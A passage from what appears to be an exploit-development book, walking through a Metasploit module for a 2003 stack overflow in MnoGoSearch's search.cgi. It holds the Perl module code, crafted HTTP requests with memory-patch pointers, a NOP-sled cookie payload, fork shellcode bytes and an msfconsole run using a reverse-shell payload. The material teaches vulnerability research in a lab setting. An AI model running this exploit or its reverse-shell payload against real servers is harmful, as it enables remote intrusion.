Team LiB
Previous Section Next Section

5.4. Writing a Module for the MnoGoSearch Overflow

As mentioned earlier, buffer overflows have historically been the most commonly found security vulnerability in software. We've already seen an example that dealt with how this can be exploited on the local level. Local vulnerabilities require some kind of access to a system. In Unix-like systems this is usually user-level access. Then a local exploit would be used to elevate your privileges from your current access level to that of a higher privilege account, typically root. A remote vulnerability is more dangerous because it allows an attacker to gain an initial level of access to a target host or network via a network-based attack.

Remote vulnerabilities are what MSF was designed for. The payloads, payload handlers, and socket classes are designed for use in writing remote exploit modules. In this section we'll use these features to write a proof-of-concept exploit for a remotely exploitable vulnerability in a CGI program.

CGI programs are executed by web servers and were originally designed for dynamic data display. It is well known that a software system is only as secure as its weakest link. A CGI program normally runs in the context and access permissions of the web server that executed it. Hence, an overflow in a CGI would allow an exploit to gain the privilege level of the web server, normally the "nobody" or "www" users.

5.4.1. Setting Up the Bug

MnoGoSearch for Unix is an open source search engine software project. The primary interface to search the backend metadata is the C program search.cgi. In August 2003, a stack-based buffer overflow was discovered in version 3.1.20 of the CGI program when handling an overly large value for the wf GET parameter. By examining some of the affected code snippets from the search.c source code file, we can study the origin of the problem. In the interest of saving space, we've removed the irrelevant lines and put in line numbers for cross-referencing the original source code.

544  static int PrintOneTemplate(UDM_AGENT * Agent,UDM_DOCUMENT * Doc,char * 
Target,char *s,int where,int ntempl){
...
902                          if(!strncmp(s,"wf",2)){
903                                  sprintf(UDM_STREND(Target),"%s",wf?wf:"");
904                                  s++;
905                          }else

The UDM_STREND macro finds the end of the stringin this case, Targetwhich is one of the function's parameters. Then the wf bufferwhich comes directly from user-controllable inputis appended to the end of the Target buffer using the sprintf( ) nonbounds checking function. A stack-based buffer overflow can occur when Target is a static-size character buffer declared on the stack. Reviewing the rest of the source code reveals an instance of the ideal conditions for exploitation:

1125    static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){
1126    UDM_TAG tag;
1127    char *s;
1128    int len;
1129    char tmp[UDMSTRSIZ]="";
...
1142                            PrintOneTemplate(Agent,NULL,tmp,option,where,0); 
1143                        UdmFreeTag(&tag);
1144                       UdmParseTag(&tag,tmp);

The tmp static buffer is passed to the PrintOneTemplate( ) function, which is known to be vulnerable. The apparent effect is that the sprintf() call in PrintOneTemplate( ) will overflow the tmp buffer in PrintOption().

Our next step in verification is to set up a server with the vulnerable software running. For the vulnerable server we'll use OpenBSD 3.1 running the Apache web server with the search.cgi program compiled and installed in a CGI directory. We'll use the gdb debugger to examine the program from a shell on the server.

To add a time delay that will allow us to find the process and attach to it, we will modify the CGI code. Near the top of the main( ) function in search.c, after the variable declarations, add one line: sleep(10);. This will give us time to catch the program and attach to it with gdb using a command line similar to this:

$gdb -q search.cgi `ps ax |grep search.cgi|grep -v grep|awk '{ print $1 }'`

5.4.2. The Evolution of a Working Exploit Module

Once the test bed is set up, write an MSF module to test the vulnerability. This building-block module will slowly evolve to a final working exploit. The module should require that the user supply the appropriate options, which will build an HTTP request with an overly large wf parameter, create a socket, and then send the request:

package Msf::Exploit::mnogosearch_wf;
use strict;
use base "Msf::Exploit";

my $advanced = { };

my $info =
{
        'Name'          => 'Mnogosearch wf test',
        'Version'       => '$Revision: 1.2 $',
        'Arch'          => [ 'x86' ],
        'OS'            => [ 'bsd' ],
        'Priv'          => 0,
        'UserOpts'      => {
                        'RHOST' => [ 1, 'ADDR', 'The target HTTP server address' ],
                        'RPORT' => [ 1, 'PORT', 'The target HTTP server port', 80],
                        'URI'   => [ 1, 'DATA', 'The target CGI URI', '/cgi-bin/search.cgi' ],
                        'SSL'   => [ 0, 'BOOL', 'Use SSL', 0 ]
                                },
        'DefaultTarget' => 0,
        'Targets'       =>
                [
                        # Name 
                        [ 'OpenBSD/3.1' ]
                ],
};

The appropriate metadata information, such as the target operating system, target architecture, some user options, and the target address, has been set. Because this is only a test harness module, there is no need for targeting values.

sub new{
        my $class = shift;
        my $self;
        $self = $class->SUPER::new( { 'Info'=>$info, 'Advanced'=>$advanced, }, @_);
        return $self;
}
sub Exploit{
        my $self = shift;
        my $targetHost = $self->GetVar('RHOST');
        my $targetPort = $self->GetVar('RPORT');
        my $uri        = $self->GetVar('URI');

A standard new( ) constructor is added so that MSF can create an instance of our mnogosearch_wf class. The Exploit( ) method is overridden for the specific exploit, and local variables have been set based on the options the user supplied at runtime.

       my $request =  "GET $uri?q=abc&wf=" .
                        Pex::Text::PatternCreate(6000) .
                        " HTTP/1.0\r\n\r\n";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr'  => $targetHost,
                'PeerPort'  => $targetPort,
                'SSL'       => $self->GetVar('SSL'),
        );
        if ($s->IsError) {
                $self->PrintError;
                return;
        }
        $s->Send($request);
} 1;#standard Perl module ending

Finally, build the request using PatternCreate() to generate a trace buffer, initiate a TCP socket using the supplied user options, and send the request to the web server.

We'll save this module as mnogosearch_wf.pm and place it in the ~/.msf/exploits/ directory. Using msfconsole, select the mnogosearch_wf exploit, set the appropriate options to point to the target server, and use the exploit command to send the request.

After running the module, use gdb to attach to the search.cgi process. Set a breakpoint on the vulnerable function and continue to step through it until it processes the wf buffer. This happens on the nineteenth call to the function, so examine what happens at that point:

anomaly$ gdb -q search.cgi `ps ax|grep search.cgi|grep -v grep|awk '{ print $1 }'`
...
(gdb) break PrintOption
Breakpoint 1 at 0x5250: file search.c, line 1125.
(gdb) continue
...
(gdb) continue 18
Will ignore next 17 crossings of breakpoint 1.  Continuing.

Breakpoint 1, PrintOption (Agent=0x4f000, Target=0x288b5 "", where=100,
    option=0x86a80 "<OPTION VALUE=\"222210\"  SELECTED=\"$wf\">all sections\n") at search.c:1125
1125    static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){
(gdb) info frame
...
 Saved registers:
  ebx at 0xdfbf6a08, ebp at 0xdfbf7e50, esi at 0xdfbf6a0c, edi at 0xdfbf6a10, eip at 0xdfbf7e54
(gdb) x/12x &tag
0xdfbf7e2c:     0x00000000      0x00000000      0x74206f4e      0x656c7469
0xdfbf7e3c:     0x00000000      0x400914d3      0x00000480      0x00028430
0xdfbf7e4c:     0x00086a80      0xdfbf7e90      0x0000579f      0x0004f000
(gdb) x/x 0xdfbf7e54
0xdfbf7e54:     0x0000579f
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x53e2 in PrintOption (Agent=0x47307047, Target=0x70473170 <Error reading address 0x70473170: Invalid argument>,
    where=862996274, option=0x47347047 <Error reading address 0x47347047: Invalid argument>) at search.c:1154
1154                    sprintf(UDM_STREND(Target),"<OPTION VALUE=\"%s\"%s>",tag.value,
(gdb) x/16x 0xdfbf7e2c             #Examining memory of from "tag" through "Target"
0xdfbf7e2c:     0x00087930      0x00000000      0x00000000      0x00000000
0xdfbf7e3c:     0x00087940      0x00084000      0x00000000      0x00000000
0xdfbf7e4c:     0x00000000      0x6f47376f      0x396f4738      0x47307047
0xdfbf7e5c:     0x70473170      0x33704732      0x47347047      0x70473570
(gdb) x/x 0xdfbf7e5c               #The Target Parameter which caused the SIGSEGV
0xdfbf7e5c:     0x70473170
(gdb) x/x 0xdfbf7e5        4#The new sEIP value
0xdfbf7e54:     0x396f4738

Examining memory around the tag variable shows the state of the stack frame before the call to PrintOneTemplate() and before the overflow gets triggered. The info frame command gives user information regarding registers saved on the stack, including the all-important EIP register. Examine the memory location to track how this important location is affected. After continuing past the overflow trigger point, the program receives a segmentation fault signal, but not from an invalid EIP, as we might expect. As it turns out, the sprintf() function on line 1,154 (which comes after our overflow but before the function return) needs a parameter that points to a mapped memory location to perform its operations. We'll have to keep this in mind as the overflow is examined in more detail.

Even though the segmentation fault was not a direct result of an invalid EIP, the final x/x command shows the sEIP has indeed been overwritten. You can use the patternOffset.pl MSF tool to find the offset to sEIP. Using the overwritten sEIP of 0x396f4738, the tool shows the offset to overwrite sEIP is 5126.

Using this new information, modify exploit code to get through the function and reach the return. The strategy will be to leave the Target parameter unchanged so that the sprintf( ) succeeds. The request now becomes:

        my $request =  "GET $uri?q=abc&wf=" .
                        Pex::Text::PatternCreate(5126) .
                        "1234". #overwritten sEIP
                        " HTTP/1.0\r\n\r\n";

With this modification, again run the exploit and trace the process:

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x53e2 in PrintOption (Agent=0x6c613e22, Target=0x6573206c <Error reading address 0x6573206c: Invalid argument>, 
    where=1869182051, option=0xa736e <Error reading address 0xa736e: Invalid argument>) at search.c:1154
1154                    sprintf(UDM_STREND(Target),"<OPTION VALUE=\"%s\"%s>",tag.value,
(gdb) x/x 0xdfbf83c8
0xdfbf83c8:     0x34333231   #the sEIP appears to have been overwritten as indented
(gdb) x/s Target
0x6573206c:     Error accessing memory address 0x6573206c: Invalid argument.
(gdb) x/s &Target
0xdfbf83d0:      "l sections\n"

It seems the Target parameter is being overwritten by a string we didn't specify. Examining the source code reveals that it is being appended in PrintOneTemplate(). This presents a common problem in exploit development: how to reach the function return if a call within that function crashes as a result of modifying other local variables during our overflow attempt. The solution to this common problem is memory patching. If sprintf( ) needs Target to be a valid pointer, give it what it needs to work. This same type of problem also occurs on line 1156, as was noticed on the first test run. Because of how the variables and parameters are ordered on the stack, it is necessary to patch all function parameters for a reliable exploit.

Examining the mapped memory, we look for a range that is mapped so that we can point our parameters there. Any arbitrary valid memory location that can be written to without a segmentation fault will do, so choose one, modify the exploit's request, and trace again:

        my $ptr = 0xdfbf6f6f;
        my $request = "GET $uri?q=abc&wf="         .
            Pex::Text::PatternCreate(5126)         .
            "1234"                              .              #seip
            $ptr x2                                        .              #(Agent, Target,
            pack("V",0x01020304)                          .              #where,
            $ptr                                                .        #option)
            " HTTP/1.0\r\n\r\n";

Back to the debugger on the server...

Saved registers:
  ebx at 0xdfbf70ac, ebp at 0xdfbf84f4, esi at 0xdfbf70b0, edi at 0xdfbf70b4, eip at 0xdfbf84f8
(gdb) x/16x &tag
0xdfbf84d0:     0x00086930      0x00000000      0x00000000      0x00000000
0xdfbf84e0:     0x00086940      0x00084000      0x00000000      0x00000000
0xdfbf84f0:     0x00000000      0x6f47376f      0x34333231      0xdfbf6f6f
0xdfbf8500:     0xdfbf6f6f      0x01020304      0xdfbf6f6f      0x6c613e22
(gdb) x/x 0xdfbf84f8
0xdfbf84f8:     0x34333231
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ( )
(gdb) info registers eip
eip            0x34333231       0x34333231

And that is what we're looking for: a segmentation fault on an EIP that was explicitly controlled. At this point the offset to overwrite sEIP has been reached, and some simple memory patching was done to get the function to return to a specified EIP (in this case, the dummy value 1234 was used). The final step to complete our exploit is to place the payload somewhere in memory and to use a memory location in a NOP sled to reach the shellcode. It should be noted that UdmParseTag( ) modifies the tmp buffer after the overflow point, so you shouldn't use that. A better option is to use the environment variables that get passed to the CGI because their location is fairly consistent. By setting the HTTP cookie header to a large value and doing another trace, you can locate the HTTP_COOKIE environment variable. On this system HTTP_COOKIE started at 0xdfbfa28d, so we'll use a large NOP sled of about 4KB and find a return address to hit it. Any return value that falls within the range will work. In this case, 0xdfbfadcd was chosen as the return address to overwrite the sEIP and to take control of process execution flow.

With this new information the Exploit( ) method should be modified appropriately. Also, add a target to the exploit so that a user can choose the memory patch pointer and return address:

...
       'Targets'       =>
                [
                        # Name              Ret         Patch pointer
                        [ 'OpenBSD/3.1',    0xdfbfadcd, 0xdfbf6f6f ]
                ],
...
sub Exploit
{
...
        my $targetIdx   = $self->GetVar('TARGET');
        my $payload     = $self->GetVar('EncodedPayload');
        my $rp          = $payload->RawPayload;
        my $target      = $self->Targets->[$targetIdx];
        my $ret         = $target->[1];
        my $ptr         = pack("V",$target->[2]);

        $self->PrintLine('[*] Trying exploit target ' . $target->[0]);
...
#we'll change the end of the request to add a cookie header with our shellcode
            " HTTP/1.0\r\n"         .
            "Cookie: " . "\x90"x4000 . $rp . "\r\n\r\n";

Now test it out in msfconsole using the bsdx86_reverse payload:

msf mnogosearch_wf(bsdx86_reverse) > show options

Exploit and Payload Options
===========================

  Exploit:    Name      Default          Description
  --------    ------    -------------    ------------------------------
  optional    SSL       0                Use SSL
  required    RPORT     80               The target HTTP server port
  required    URI       /cgi-bin/search.cgi      The target CGI URI
  required    RHOST     192.168.2.142    The target HTTP server address

  Payload:    Name      Default          Description
  --------    ------    -------------    -----------------------------------
  required    LPORT     9999             Local port to receive connection
  required    LHOST     192.168.2.132    Local address to receive connection

  Target: OpenBSD/3.1

msf mnogosearch_wf(bsdx86_reverse) > exploit
[*] Starting Reverse Handler.
[*] Trying exploit target OpenBSD/3.1
[*] Got connection from 192.168.2.142:17664

msf mnogosearch_wf(bsdx86_reverse) >

It appears to have worked, but the connection dropped as soon as it was received. Sniffing the traffic on the wire reveals that the shellcode was executing and we did in fact get a connection back, but it seems the connection was torn down and the process was killed. To get to the root of this problem, let's think about the way CGIs usually work: the web server spawns the CGI process using fork( ), then waits for a timeout, at which point it kills the child process. To avoid this, we spawn a new process and split from the CGI process using the fork( ) system call before our shellcode executes. Here's one way we can do this for OpenBSD:

xorl    %eax,%eax
movb    $0x2,%al
pushl   %eax
int     $0x80
add     $0x4,%esp
test    %edx,%edx
je      $0x0d      ;original process ends

You should prepend the opcodes for this assembly routine to the payload by overriding the PayloadPrepend() method of the Msf::Exploit class. Now, as the module executes, MSF will automatically call this method and prepend the forking code before it encodes the shellcode. To support variable encoders and NOP generators, change the HTTP request to use an MSF-generated full payload that includes a NOP sled, decoding stub, and encoded shellcode. Now, everything should come together, and as you can see in Figure 5-6, our work pays off with a fully working remote exploit:

Figure 5-6. A sample run of the completed working module


sub PayloadPrepend{
        my $self = shift;
        return "\x31\xc0\xb0\x02\x50\xcd\x80\x83\xc4\x04\x85\xd2\x74\x0d";
}

Exploit
{
        my $payload     = $self->GetVar('EncodedPayload');
        my $fullpayload         = $payload->Payload;
...
#change the end of request to use a full payload now
         "Cookie: " . $fullpayload . "\r\n" .
         "\r\n\r\n");
}

    Team LiB
    Previous Section Next Section